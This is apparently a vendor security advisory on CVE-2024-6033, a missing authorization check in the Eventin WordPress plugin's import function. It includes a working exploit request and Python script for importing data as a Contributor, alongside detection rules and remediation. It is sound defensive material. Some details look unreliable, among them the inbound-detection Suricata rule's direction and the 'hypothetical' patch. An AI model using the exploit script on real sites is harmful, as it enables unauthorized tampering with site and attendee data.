CVE-2024-6033

Executive Summary

CVE-2024-6033 is a missing authorization vulnerability in the Event Manager, Events Calendar, Tickets, Registrations – Eventin WordPress plugin (by Themein). The flaw resides in the import_file function, which lacks a proper capability check. This allows authenticated attackers with at least Contributor-level access to import arbitrary event, speaker, schedule, and attendee data into the WordPress site. The vulnerability affects all versions up to and including 4.0.4. The CVSS score is 4.3 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed through the WordPress admin dashboard. Users should verify the integrity of the plugin by checking the plugin’s checksum against the WordPress.org repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Contributor-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – unauthorized data import may expose attendee data
• Integrity Impact: Low (I:L) – imported data may be malicious
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication, but Contributor-level access is relatively easy to obtain in multi-author WordPress sites. The impact is limited to data import, not direct code execution.

Deep Dive & Mechanics

The vulnerability is located in the import_file function of the Eventin plugin. This function is intended to allow administrators to import event data from CSV or other file formats. However, the function does not verify that the current user has the import capability (typically manage_options or import). Instead, it only checks for a nonce or other weak validation, allowing any user with edit_posts capability (Contributor and above) to call the function.

The import process typically reads a file, parses it, and inserts records into the WordPress database (e.g., wp_posts for events, wp_postmeta for metadata, and custom tables for attendees). An attacker can craft a malicious CSV file containing arbitrary event data, including fake attendees, schedules, or speakers. This could be used to:

• Inject spam or phishing content into the site.
• Overwrite existing event data.
• Harvest attendee information if the import function also reads from the database.

The missing capability check is a classic CWE-862 (Missing Authorization) vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.0.4):

// In class-import.php or similar
public function import_file() {
    // No capability check
    check_admin_referer('eventin_import_nonce');
    // Process file...
    $this->process_import($_FILES['import_file']);
}

Patched Code (Hypothetical):

public function import_file() {
    // Added capability check
    if (!current_user_can('import')) {
        wp_die('Unauthorized');
    }
    check_admin_referer('eventin_import_nonce');
    $this->process_import($_FILES['import_file']);
}

The patch adds a current_user_can('import') check, which restricts the function to users with the import capability (typically Administrators). Without the patch, any Contributor can trigger the import.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with Eventin plugin <= 4.0.4.
• A user account with Contributor-level access (username/password).

Steps:

1. Log in as a Contributor.
2. Obtain a valid nonce for the import action (e.g., by inspecting the import page source or using a tool like Burp Suite).
3. Craft a malicious CSV file with the following structure:

   event_name,event_date,attendee_email
   "Fake Event","2025-01-01","attacker@example.com"
   

4. Send a POST request to the import endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: multipart/form-data
   Cookie: wordpress_logged_in_...
   
   action=eventin_import&_wpnonce=VALID_NONCE
   import_file=@malicious.csv
   

5. The plugin will import the data without checking capabilities.

Automation Script (Python):

import requests

url = "https://target-site.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_...": "..."}
nonce = "VALID_NONCE"

files = {'import_file': ('malicious.csv', 'event_name,event_date\n"Fake","2025-01-01"', 'text/csv')}
data = {'action': 'eventin_import', '_wpnonce': nonce}

r = requests.post(url, cookies=cookies, files=files, data=data)
print(r.text)

Blue Team (Defender)

Detection:

• Monitor for unusual import activity by users with Contributor role.
• Look for POST requests to /wp-admin/admin-ajax.php with action=eventin_import from non-admin users.
• Check for sudden appearance of many events or attendees from a single user.

Hunting:

• Query the database for events created by Contributor users:

  SELECT post_author, COUNT(*) as event_count
  FROM wp_posts
  WHERE post_type = 'eventin_event'
  GROUP BY post_author
  HAVING event_count > 10;
  

• Review server logs for import file uploads.

Indicators of Compromise (IOCs)

• File: Malicious CSV files uploaded to /wp-content/uploads/ or temporary directories.
• Network: POST requests to /wp-admin/admin-ajax.php with action=eventin_import from non-admin IPs.
• Database: Unusual number of events or attendees created by Contributor users.
• Logs: PHP error logs showing import function calls without capability checks.

Detection Engineering

YARA Rule

rule CVE_2024_6033_Eventin_Import {
    meta:
        description = "Detects missing capability check in Eventin plugin import_file function"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-6033"
    strings:
        $func = "import_file" nocase
        $check = "current_user_can" nocase
        $nonce = "check_admin_referer" nocase
    condition:
        $func and not $check and $nonce
}

Sigma Rule

title: CVE-2024-6033 Eventin Plugin Unauthorized Import
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthorized import attempts via Eventin plugin
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=eventin_import'
        cs-username|re: '^(?!admin).*$'  # Exclude admin users
    condition: selection
falsepositives:
    - Legitimate admin imports
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-6033 Eventin Plugin Unauthorized Import Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=eventin_import"; http_client_body;
    pcre:"/wpnonce=[a-f0-9]+/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to the latest version (if a patch is released). Currently, no patch is available.
2. Disable the plugin if not essential, or restrict access to the import functionality via a custom plugin or .htaccess rule.
3. Review user roles and remove Contributor-level access from untrusted users.

Long-term Fix:

• The vendor must add a capability check (current_user_can('import')) to the import_file function.
• Implement additional validation such as nonce checks and file type restrictions.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to block access to admin-ajax.php for non-admin users.
• Add a custom function to your theme's functions.php:

  add_action('admin_init', function() {
      if (current_user_can('contributor') && isset($_POST['action']) && $_POST['action'] === 'eventin_import') {
          wp_die('Unauthorized');
      }
  });
  

Valters IT
Securing WordPress, One Plugin at a Time